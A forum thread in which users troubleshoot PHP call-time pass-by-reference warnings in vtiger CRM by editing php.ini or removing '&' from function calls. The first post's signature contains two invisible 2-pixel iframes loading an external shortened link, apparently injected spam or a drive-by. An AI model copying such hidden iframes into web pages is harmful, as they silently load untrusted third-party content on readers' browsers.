Warning: Call-time pass-by-reference has been deprecated

Dears,

I'm hava a warning in the fist page:
Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of saveInventoryProductDetails(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file in /home/smartadbrasil/public_html/vtigercrm/modules/SalesOrder/SalesOrder.php on line 126

Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of saveInventoryProductDetails(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file in /home/smartadbrasil/public_html/vtigercrm/modules/Invoice/Invoice.php on line 117

Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of saveInventoryProductDetails(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file in /home/smartadbrasil/public_html/vtigercrm/modules/PurchaseOrder/PurchaseOrder.php on line 107

I only instaled vtiger and when a loged the warning appear.

I realy don't now how to solve.

Tks if any one can help.
Reinaldo <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 7 Comments sorted by Votes Date Added
  • reinaldo,

    your server does not meet the recommended php configuration:
    <!-- m --><a class="postlink" href="http://wiki.vtiger.com/index.php/vtiger_crm_5.0.4_-_installation_on_hosted_servers#prerequisites_-_php">http://wiki.vtiger.com/index.php/vtiger ... ites_-_php</a><!-- m -->

    regards,
    prasad
    vtiger team
  • tks, but i check paramets and all is ok.
  • i'm having the same problem & parameters are alright.
  • follow-up

    i learned this is strictly a php error.

    a search through the internet shows this can be solved one of three ways:

    (1) enable "allow_call_time_pass_reference" to "true" in the php.ini file
    (2) edit the indicated file and remove "&" from the expression

    saveinventoryproductdetails($this, 'purchaseorder', $this->update_prod_stock);

    instead of

    saveinventoryproductdetails($this, 'purchaseorder',&$this->update_prod_stock);

    (3) turn php errors off (which wherever i looked the experts constantly advised not to)

    i did number 2 and have continued on.

    note: if you don't fix the "allow_call_time_pass_reference" error. you will get another nasty error when you try to display a pdf version of a purchase order or invoice.
  • since this parameter is depreceated in php it is recommended that the application code is rewritten with proper function calls.

    something i hope that the vtiger team takes to heart ti'll v 5.2.0

    part from that, not all hosted environments allow users on shared servers to do override on the php files. there are of course ways to get around this but it is nothing for the normal user to try to accomplish.

    it is also hard to give any exact advice, since the server environments differs from case to case.

    in hosting environment generally:
    1. copy servers php.ini to your own /cgi-bin/ in the target domain
    2. make a script wrapper
    3. edit the php.ini in the target domain
    4. edit and activate .htaccess file in target domain

    or

    make this change:

    /smarty/libs/smarty.class.php

    where you have vtigercrm installed and enter in these 3 lines of code right after the comments:

    ini_set &#40;'max_execution_time', 600&#41;;
    ini_set &#40;'allow_call_time_pass_reference', true&#41;;
    ini_set &#40;'error_reporting', e_warning &amp; ~e_notice&#41;;
    


    good examples here:
    <!-- m --><a class="postlink" href="http://wiki.dreamhost.com/php.ini">http://wiki.dreamhost.com/php.ini</a><!-- m -->
    <!-- m --><a class="postlink" href="http://wiki.dreamhost.com/vtiger_crm">http://wiki.dreamhost.com/vtiger_crm</a><!-- m -->

    regards
    akerman
  • personally i prefer "cssone" solution above

    edit the following files (or the files that gives you warning):

    purchase order

    from:
    saveinventoryproductdetails&#40;&amp;$this, 'purchaseorder', $this-&gt;update_prod_stock&#41;;
    
    to:
    saveinventoryproductdetails&#40;$this, 'purchaseorder', $this-&gt;update_prod_stock&#41;;
    

    invoice

    from:
    saveinventoryproductdetails&#40;&amp;$this, 'invoice'&#41;;
    
    to:
    saveinventoryproductdetails($this, 'invoice');

    sales order

    from:
    saveinventoryproductdetails&#40;$this, 'salesorder'&#41;;
    
    to:
    saveinventoryproductdetails&#40;$this, 'salesorder'&#41;;
    


    remember: if you by any chance makes changes to "smarty.class.php" as mentioned above, you might not see all error warnings. so be sure to remove any changes there first so you see all errors and can deal with them accordingly.

    regards
    akerman
Sign In or Register to comment.